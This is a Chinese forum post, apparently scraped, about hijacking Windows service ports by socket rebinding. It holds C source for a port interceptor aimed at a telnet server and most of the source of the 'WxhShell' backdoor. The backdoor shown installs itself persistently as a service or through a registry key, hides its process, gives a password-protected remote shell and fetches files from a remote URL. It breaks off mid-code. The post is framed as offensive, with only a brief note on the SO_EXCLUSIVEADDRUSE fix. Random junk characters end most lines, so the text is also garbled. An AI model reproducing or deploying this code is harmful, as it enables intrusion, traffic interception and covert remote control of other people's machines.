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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,G2]3 3Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vLQ!kB^\W  
bvyX(^I[q  
  saddr.sin_family = AF_INET; yZ7aH|Q81B  
^7Sk`V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vrVb/hhG  
&)F8i# M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); OcR6\t'  
rv`kP"I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D0T0Km/"  
76e%&ZG)Q  
  这意味着什么?意味着可以进行如下的攻击: &YMz3ugI  
-$Y@]uf^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1&{]jG{#  
;3ZHm*xJx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IIC1T{D}v  
&Xr@nt0H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >uMj}<g#Z?  
)$18a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >T'=4n['  
*>otz5]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xw?Mc{w  
_ _x2xtrH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lPcp 17U  
[x}]sT`#a  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 34Q;& z\e  
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  #include 7;cb^fi/  
  #include 3yNILj  
  #include #$!(8>YJ  
  #include    kpc3l[.A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "`pI! nj  
  int main() Vc}#Ok  
  { Mm7l!  
  WORD wVersionRequested; S *3N6*-l"  
  DWORD ret; dz^l6<a"n  
  WSADATA wsaData; ~G0\57;h  
  BOOL val; eWjLP{W  
  SOCKADDR_IN saddr; +T}:GBwD7  
  SOCKADDR_IN scaddr; r;3{%S._  
  int err; @^g/`{j>J  
  SOCKET s; Jw%0t'0Zi  
  SOCKET sc; |7@[+  
  int caddsize; <b0;Nf   
  HANDLE mt; ]{- >/.oB  
  DWORD tid;   EdQ:8h  
  wVersionRequested = MAKEWORD( 2, 2 ); ;6op|O  
  err = WSAStartup( wVersionRequested, &wsaData ); 7^Y"K  
  if ( err != 0 ) { 3+6s}u)  
  printf("error!WSAStartup failed!\n"); ,TrrqCw>  
  return -1; dP8b\H  
  } w eMC 9T)B  
  saddr.sin_family = AF_INET; ~*-(_<FH  
   PoyY}Ra  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 " P A:  
;{Cr+lqTJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r:h\{ DVf  
  saddr.sin_port = htons(23); j=U [V&T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q;p?.GI?-  
  { oqzx}?0  
  printf("error!socket failed!\n"); +5n,/YjS`  
  return -1; xO8-vmf2  
  } BE n$~4-  
  val = TRUE; }?f%cRT$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0IHcyb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J }?F4  
  { *P4G}9B|9:  
  printf("error!setsockopt failed!\n"); c_#\'yeW  
  return -1; nic7RN?F<  
  } ka_]s:>+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <uGc=Du  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 asT*Z"/Q!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fIOI  
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  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w7Do#Cv  
  {  .PyPU]w  
  ret=GetLastError(); |Sg FHuA  
  printf("error!bind failed!\n"); @^47Qgj8 U  
  return -1; v-`RX;8  
  } * b+ef  
  listen(s,2); Kk?P89=*  
  while(1) ia.95H;  
  { c(@V t&gE  
  caddsize = sizeof(scaddr); vby[# S|  
  //接受连接请求 ElNKCj<M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Xo[={2_  
  if(sc!=INVALID_SOCKET) Ktrqrl^IJ  
  { &WW|! 6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E. @n Rj#  
  if(mt==NULL) )bc0 t]Fs  
  { H]@M00C  
  printf("Thread Creat Failed!\n"); [}snKogp  
  break; 3OUZR5_$  
  } xL,;(F\^  
  } +bwSu)k  
  CloseHandle(mt); ,DrE4")4  
  } GC(:}e|  
  closesocket(s); eil"1$k  
  WSACleanup(); BElVkb  
  return 0; CB(Qy9C%h[  
  }   02Z># AE  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y\!* c=@k  
  { M7R.? nk  
  SOCKET ss = (SOCKET)lpParam; J!sIxwF  
  SOCKET sc; \(9hg.E  
  unsigned char buf[4096]; KCR6@{@  
  SOCKADDR_IN saddr; Obd@#uab  
  long num; s{v!jZ  
  DWORD val; <ptZY.8N  
  DWORD ret; 7TCY$RcF,I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T_}9b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >5Vv6_CI0?  
  saddr.sin_family = AF_INET; H+&c=~D\_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {(r`&[  
  saddr.sin_port = htons(23); w i,}sEoM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +o]DT7W  
  { -3 .Sr|t  
  printf("error!socket failed!\n"); -eH5s3:A  
  return -1; Yj+p^@{S2P  
  } OZ2gIK  
  val = 100; 5[Sa7Mk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }?zy*yL  
  { 0Da9,&D  
  ret = GetLastError(); HIUB:  
  return -1; 4(5NHsvp  
  } *n $=2v^A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2"`R_q  
  { Ogp Zwwk  
  ret = GetLastError(); qKX3Npw  
  return -1; m[~fT(NI  
  } -ea":}/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) EHByo[  
  { HyKvDJ 3_  
  printf("error!socket connect failed!\n"); "F nH>g-  
  closesocket(sc); qV^Z@N+,  
  closesocket(ss); sJ{S(wpi"  
  return -1; <d".v  
  } 3ZO\P u  
  while(1) nCF1i2*6|"  
  { LadE4:oy  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zS]8ma  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "8{#R*p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z;? 3 2K  
  num = recv(ss,buf,4096,0); {DzOXTI[Y  
  if(num>0) BeAkG_uG  
  send(sc,buf,num,0); y7ng/vqM7  
  else if(num==0) $)w9EGZ  
  break; `9IG//  
  num = recv(sc,buf,4096,0); &jJj6 +P\  
  if(num>0) $j? zEz  
  send(ss,buf,num,0); _]~`t+W'DJ  
  else if(num==0) >OP[ qj  
  break; qx,>j4y w  
  } j9FG)0  
  closesocket(ss); iYwzdW1  
  closesocket(sc); <Sm@ !yx  
  return 0 ; F Xbf7G)H  
  } "`l8*]z  
B}n tD  
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========================================================== V\U,PNkZQ  
N"A863>  
下边附上一个代码,,WXhSHELL 0Z.bd=H  
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========================================================== 6M({T2e  
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#include "stdafx.h" A.0eeX{  
O}Y& @V%4k  
#include <stdio.h> `_`\jd@  
#include <string.h> mQ# 0c_  
#include <windows.h> p:kHb@  
#include <winsock2.h> XxXMtiZ6  
#include <winsvc.h> 'Em5AA`>  
#include <urlmon.h> WCf?_\cG  
Npq_1L  
#pragma comment (lib, "Ws2_32.lib") Aj9<4N  
#pragma comment (lib, "urlmon.lib") =Kf]ZKj)  
OjVI4@E;Xe  
#define MAX_USER   100 // 最大客户端连接数 h B@M5Mc$  
#define BUF_SOCK   200 // sock buffer NGsG4y^g?z  
#define KEY_BUFF   255 // 输入 buffer ;Mzy>*#$Q  
tGq0f"}'J  
#define REBOOT     0   // 重启 pP JhF8Dt  
#define SHUTDOWN   1   // 关机 h+,Eu7\88  
qX,T X 3  
#define DEF_PORT   5000 // 监听端口 z"[}Sk  
rUJIf;Zwo  
#define REG_LEN     16   // 注册表键长度 {ek a xSR  
#define SVC_LEN     80   // NT服务名长度 O7&6]/`  
r$7zk<01  
// 从dll定义API oT=XCa5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x6-bAf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~!bA<q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ' 3h"Ol{b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /XfE6SBz  
fpESuVKr  
// wxhshell配置信息 3<c_`BWu  
struct WSCFG { )#|I(Gz ^  
  int ws_port;         // 监听端口 NR </Jm*  
  char ws_passstr[REG_LEN]; // 口令  D`Tx,^E  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~yrEB:w`_  
  char ws_regname[REG_LEN]; // 注册表键名 S5a?KU  
  char ws_svcname[REG_LEN]; // 服务名 9c `Vrlu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $F^p5EXkc6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H_ecb;|mP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ix.I)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |2ttdc.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ze?(N~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9^D5Sl$g  
Wzm!:U2R*  
}; ?+^vU5b1u  
MlbQLtw  
// default Wxhshell configuration %yr(i 6L  
struct WSCFG wscfg={DEF_PORT, 3b9SyU2  
    "xuhuanlingzhe", h3.6<vM  
    1, 57nSyd] PR  
    "Wxhshell", Y*}xD;c k  
    "Wxhshell", tN-U,6c]  
            "WxhShell Service", VB(S]N)F^  
    "Wrsky Windows CmdShell Service", BH@b]bEJ  
    "Please Input Your Password: ", Hu4\4x$?  
  1, M.*3qWM  
  "http://www.wrsky.com/wxhshell.exe", 'h]sq {  
  "Wxhshell.exe" at(oepq  
    }; i'6>_,\(  
GxFmw:  
// 消息定义模块 BAy]&q|.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;";#{B:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R:[IH2F s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f_{O U E  
char *msg_ws_ext="\n\rExit."; vC j, aSW  
char *msg_ws_end="\n\rQuit."; R WfC2$z  
char *msg_ws_boot="\n\rReboot..."; \DDR l{  
char *msg_ws_poff="\n\rShutdown..."; _T8o]  
char *msg_ws_down="\n\rSave to "; dE ,NG)MH  
VZ o,AP~  
char *msg_ws_err="\n\rErr!"; ?WD JWp%  
char *msg_ws_ok="\n\rOK!"; =r?#,'a  
cq?&edjP  
char ExeFile[MAX_PATH]; p  K=  
int nUser = 0; ggP#2I\  
HANDLE handles[MAX_USER]; T?!D?YV  
int OsIsNt; |mHxkd  
[H-r0Ah  
SERVICE_STATUS       serviceStatus; G/y@`A)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bOvMXj/HV=  
@U)k~z2Hk  
// 函数声明 pz uR H1[  
int Install(void); @ +iO0?f  
int Uninstall(void); v +$3Z5  
int DownloadFile(char *sURL, SOCKET wsh); 8D)I~0\  
int Boot(int flag); j 1Ng[  
void HideProc(void); xllk hD4F  
int GetOsVer(void); <aScA`\B#  
int Wxhshell(SOCKET wsl); K0YUN^St  
void TalkWithClient(void *cs); @0v%5@  
int CmdShell(SOCKET sock); <E&[sQ|3  
int StartFromService(void); c;M&;'#x  
int StartWxhshell(LPSTR lpCmdLine); Pl9Ky(Q`V  
"3\C;B6I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D on8xk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >sfH[b  
jO5R0^w  
// 数据结构和表定义 a ,EApUWw  
SERVICE_TABLE_ENTRY DispatchTable[] = L2N O_N  
{ KeIk9T13O  
{wscfg.ws_svcname, NTServiceMain}, cW|M4`  
{NULL, NULL} cD!y d^QE  
}; [0lu&ak[&  
P.j0Xlof  
// 自我安装 `3QAXDWE  
int Install(void) (*XSr Q  
{ L)mb.U$`c|  
  char svExeFile[MAX_PATH]; r6u ) 6J=  
  HKEY key; A/xo'G  
  strcpy(svExeFile,ExeFile); Q r n^T  
O=A(x m#  
// 如果是win9x系统,修改注册表设为自启动 uyfH;9L5$  
if(!OsIsNt) { Q^Lk^PP7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { --t5jSS44  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .3Ag6YI0N  
  RegCloseKey(key); Y*KHr`\C4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yn;sd+:z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c}l?x \/  
  RegCloseKey(key); Z(gW(O9h.V  
  return 0; s .xJ},E9  
    } Qgel^"t]i  
  } ^kF-mM=  
} Fh3>y2 `/  
else { D{Rk9MKkE  
>&`S$1 o  
// 如果是NT以上系统,安装为系统服务 m:sT)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f(}AdW}?  
if (schSCManager!=0) HAHLF+k  
{ 3r]m8Hp  
  SC_HANDLE schService = CreateService GQR|t?:t  
  ( 0IP5 &[-P  
  schSCManager, ~\ C.Nm  
  wscfg.ws_svcname, /Ayo78Pi  
  wscfg.ws_svcdisp, >E:V7Fa  
  SERVICE_ALL_ACCESS, Af V a[{E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I8%2tLVY  
  SERVICE_AUTO_START, [!Jd.zm  
  SERVICE_ERROR_NORMAL, 0~;Owu  
  svExeFile, SZ*Nr=X  
  NULL, P%nN#Qm  
  NULL, lZI?k=rWv  
  NULL, m%[Ul@!V  
  NULL, MD 62ObK!  
  NULL = ;!$Qw4  
  ); |oL}c!0vs  
  if (schService!=0) .8I\=+Zi  
  { T*'?;u  
  CloseServiceHandle(schService); FkS$x'~2$  
  CloseServiceHandle(schSCManager); >3J?O96|f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >w}5\ 4j  
  strcat(svExeFile,wscfg.ws_svcname); GmJ4AYEP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $!Pm*s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }CoR$K   
  RegCloseKey(key); .dM|J'`g  
  return 0; ._$tNGI4  
    } #K[UqJ+x  
  } |;[%ZE"  
  CloseServiceHandle(schSCManager); Go8?8*  
}  IeZgF>  
} MeSF,*lP  
%xH2jf  
return 1; x KZLXQ'e-  
} gFx2\QV  
;YYo^9Lh}  
// 自我卸载 '%} k"&t$i  
int Uninstall(void) nJ]oApb/-  
{ ( \ \BsK  
  HKEY key; 2^*a$ OJ  
&.ENcEic  
if(!OsIsNt) { Km=dId7]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Zzx W  
  RegDeleteValue(key,wscfg.ws_regname); [ BpZ{Ql  
  RegCloseKey(key); jEkO #xI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d8o<Q 9   
  RegDeleteValue(key,wscfg.ws_regname); qMj'%5/  
  RegCloseKey(key); $XOs(>~"r  
  return 0; y7?n;3U]CS  
  } P m Zb!|  
} X,Q'Xe /  
} .0[ zZ  
else { x  bsk  
2A5R3x= \  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |IL/F]I  
if (schSCManager!=0) { !;I4W%!  
{ Q=+*OQV29  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l[G&=/R@H  
  if (schService!=0) h:J0d~u  
  { vs`"BQYf  
  if(DeleteService(schService)!=0) { zlw+=NX  
  CloseServiceHandle(schService); 3b#eB  
  CloseServiceHandle(schSCManager); i 1{Lx)  
  return 0; vfn _Nq;  
  } _3_kvs  
  CloseServiceHandle(schService); ^)|!nd  
  } ]V 4Fm{]  
  CloseServiceHandle(schSCManager); p;P"mp\'  
} ,'KS:`m!  
} ?c$z?QTMJ  
k /hD2tBLu  
return 1; ks}J ke>  
} d5hYOhO[  
5Q9nJC{'NN  
// 从指定url下载文件 Tf|?j=f  
int DownloadFile(char *sURL, SOCKET wsh) 8H%-/2NW  
{ feI%QnK)U  
  HRESULT hr; TH%J=1d  
char seps[]= "/"; 42Qfv%*c  
char *token; - s}  
char *file; ,/XeG`vk  
char myURL[MAX_PATH]; jIzkI)WC|  
char myFILE[MAX_PATH]; A$H;2T5N  
5\?\ |*WT  
strcpy(myURL,sURL); h}T+M BA%  
  token=strtok(myURL,seps); ;AjY-w  
  while(token!=NULL) Q|gRBu  
  { ^~iFG+g5  
    file=token; tz).]E D  
  token=strtok(NULL,seps); 8c6dTT4  
  } qir/Sa' [  
s"7$SxMT  
GetCurrentDirectory(MAX_PATH,myFILE); OrZ=-9"  
strcat(myFILE, "\\"); 0G=bu5  
strcat(myFILE, file); uaX#nn?ws  
  send(wsh,myFILE,strlen(myFILE),0); ^uDNArDmj5  
send(wsh,"...",3,0); OIqisQ7ZB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CXe2G5  
  if(hr==S_OK) C`++r>  
return 0; _gGI&0(VM  
else gq'}LcV  
return 1; f4h|Nn%;  
2NNAsr}L  
} 24}?GO  
S~ff<A>f  
// 系统电源模块 |3a1hCxt  
int Boot(int flag) Dm")\"5\?  
{ _N-.=86*  
  HANDLE hToken; !bPsJbIo>  
  TOKEN_PRIVILEGES tkp; T[z}^"  
g?}$"=B   
  if(OsIsNt) { l$1z%|I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !' D1aea5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oC~8h8"l  
    tkp.PrivilegeCount = 1; z`?{5v -Qs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n)n>|w_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~"Kf+eFi  
if(flag==REBOOT) { D.i(Irqw!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BkH- d z  
  return 0; &7}\mnhB  
} G<5i %@  
else { |9 Gng`)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &V$qIvN$  
  return 0; o/;kzi  
} o~_wx  
  } B;3lF ;3`  
  else { |SO?UIWp  
if(flag==REBOOT) { 'R{Xq HP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0L ^WTq  
  return 0; -$@$  
} {N \ri{|  
else { 9(\eL9^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `YK2hr  
  return 0; j/oM^IY  
} &V.\Svm8]  
} .[@TC@W  
}k`-n32)|  
return 1; l[MP|m#  
} ~_!lx  
$,/;QP}  
// win9x进程隐藏模块 QM"\;l??  
void HideProc(void) d~G, *  
{ 9L`5r$/  
 c"pI+Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F7FUoew<  
  if ( hKernel != NULL ) ]YO &_#  
  { NFVr$?P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 61XLL/=P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ve]ufn6  
    FreeLibrary(hKernel); zQ&k$l9  
  } .tg2HKD_lW  
 .IO_&^  
return; k^JV37;bl  
} c]eDTbXd  
{.D^2mj |  
// 获取操作系统版本 aB=&XGV9  
int GetOsVer(void) n]15 ~GO.  
{ MHuQGc"e+4  
  OSVERSIONINFO winfo; Xscm>.di  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9*thqs3J#d  
  GetVersionEx(&winfo); g!#M0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4*)a3jI?  
  return 1; MRI`h.  
  else ^:Mal[IR  
  return 0; JQo"<<[  
} Ih&rXQ$  
pG|+\k/B  
// 客户端句柄模块 8)NQt$lWp  
int Wxhshell(SOCKET wsl) hS( )OY  
{ H}nPaw]G  
  SOCKET wsh; F+c4v A})  
  struct sockaddr_in client; &D/@H1fBe  
  DWORD myID; zZhAH('fG  
xT]|78h$   
  while(nUser<MAX_USER) Pl>BTo>p'  
{ BE#s@-zR=p  
  int nSize=sizeof(client); LU=<? "N6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *hk8[  
  if(wsh==INVALID_SOCKET) return 1; d,hKy2  
[i9.#*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R#n!1~ (  
if(handles[nUser]==0) _3pME9l  
  closesocket(wsh); l{2Y[&%  
else <\9M+  
  nUser++; T[?toqkD>z  
  } P 2j"L#%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8Hdm(>  
<$V!y dO  
  return 0; y<h~jz#hkq  
} hHu?%f*  
}#b[@3/T  
// 关闭 socket mmJ$+$JEk  
void CloseIt(SOCKET wsh) 4@Q`8N.  
{ !U 6 x_  
closesocket(wsh); Xcy Xju#"p  
nUser--; d'x'hp%  
ExitThread(0); wa)E.(x  
} [!<W{ ($5  
M9t`w-@_w  
// 客户端请求句柄 /^2&@P7  
void TalkWithClient(void *cs) wT taj08D  
{ A#&,S4Wi|  
4P>4d +  
  SOCKET wsh=(SOCKET)cs; Dh4 EP/=z  
  char pwd[SVC_LEN]; 'X$J+s}6&  
  char cmd[KEY_BUFF]; 68!W~%?pR  
char chr[1]; &4dh$w]q  
int i,j; 'Avp16zg  
1 luRTI8^  
  while (nUser < MAX_USER) { }Qqi013E L  
&>YdX$8x  
if(wscfg.ws_passstr) { ;PA^.RB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .!B>pp(9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (FY<% .Pa  
  //ZeroMemory(pwd,KEY_BUFF); M %vZcP  
      i=0; @[s+5_9nk  
  while(i<SVC_LEN) { Yp;6.\Z8[  
mF6 U{=  
  // 设置超时 5, j&-{ 0W  
  fd_set FdRead; *!wBn  
  struct timeval TimeOut; ;7HL/-  
  FD_ZERO(&FdRead); (L2:|1P)  
  FD_SET(wsh,&FdRead); 4e0/Q!o,  
  TimeOut.tv_sec=8; kf Xg\6uKc  
  TimeOut.tv_usec=0; QMI6l'"s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]bui"-tlK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;ATn&  
_ Cu,"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G<M X94?  
  pwd=chr[0]; v5/2-<6x  
  if(chr[0]==0xd || chr[0]==0xa) { 8M_p'AR\,y  
  pwd=0; u> @ Yoyc  
  break; KiaQ^[/q  
  } [8Yoz1(smA  
  i++; V+Tu{fFF7E  
    } g?mfpwZj  
6]mFw{6qn1  
  // 如果是非法用户,关闭 socket `yvH0B -  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x,+2k6Wn!  
} )M: pg%  
1c2zFBl.&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SXJ]()L?[v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (c'kZ9&  
T``O!>J  
while(1) { kgQyG[u  
Ln4zy*v{  
  ZeroMemory(cmd,KEY_BUFF); 'A#bBn,|  
jkrv2 `"  
      // 自动支持客户端 telnet标准   jx?"m=`s:  
  j=0; ?S~@Ea8/M  
  while(j<KEY_BUFF) { "L)=Y7Dx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kuZs30^  
  cmd[j]=chr[0]; +YNN$i  
  if(chr[0]==0xa || chr[0]==0xd) { ~R$Ko(N  
  cmd[j]=0; pAY[XN  
  break; %z_L}L  
  } vr$zYdV>  
  j++; M#5*gWfq9  
    } !ot$Q  
?%]?#4bkc  
  // 下载文件 mD]^a;U[X  
  if(strstr(cmd,"http://")) { 8euh]+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O\5q_>]  
  if(DownloadFile(cmd,wsh)) _ l$1@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WNa#X]*E)  
  else /DC\F5 G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X^% E"{!nU  
  } Aq5@k\[  
  else { %ylpn7I\6  
m`Dn R`+  
    switch(cmd[0]) { Nm;V9*5  
  >7Y6NAwY  
  // 帮助 )yyS59s  
  case '?': { 7k==?,LG3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J=OWXL!<a  
    break; yClbM5,  
  } ;'fn{j6C  
  // 安装 'a6:3*  
  case 'i': { $1ZF kw  
    if(Install()) *qN (_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '-?t^@  
    else q@6Je(H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yrgb6)]nm@  
    break; HEMq4v4  
    } .15^c+j  
  // 卸载 QN'v]z  
  case 'r': { %CaUC'  
    if(Uninstall()) I~f8+DE)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -AX[vTB  
    else bpv?$j-j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); km[ PbC  
    break; q*36/I  
    } <M,A:u\qSQ  
  // 显示 wxhshell 所在路径 $At,D.mGkb  
  case 'p': { }aJK^>^>A  
    char svExeFile[MAX_PATH]; xdV $dDCT  
    strcpy(svExeFile,"\n\r"); WER\04%D\m  
      strcat(svExeFile,ExeFile); f[;l7  
        send(wsh,svExeFile,strlen(svExeFile),0); M)T{6 w  
    break; +'{@Xe}  
    } EvJ"%:bp  
  // 重启 Z7@~#)3  
  case 'b': { 45DR%cz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w*-1*XNA  
    if(Boot(REBOOT)) 1$^=M[v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); puPYM"  
    else { ==W`qC4n?n  
    closesocket(wsh); tG"lI/  
    ExitThread(0); 50Kv4a"  
    } ]L?DV3N  
    break; (!iGQj(m  
    } rQ!X  
  // 关机 p#T^o]+  
  case 'd': { j%Cr)' H?  
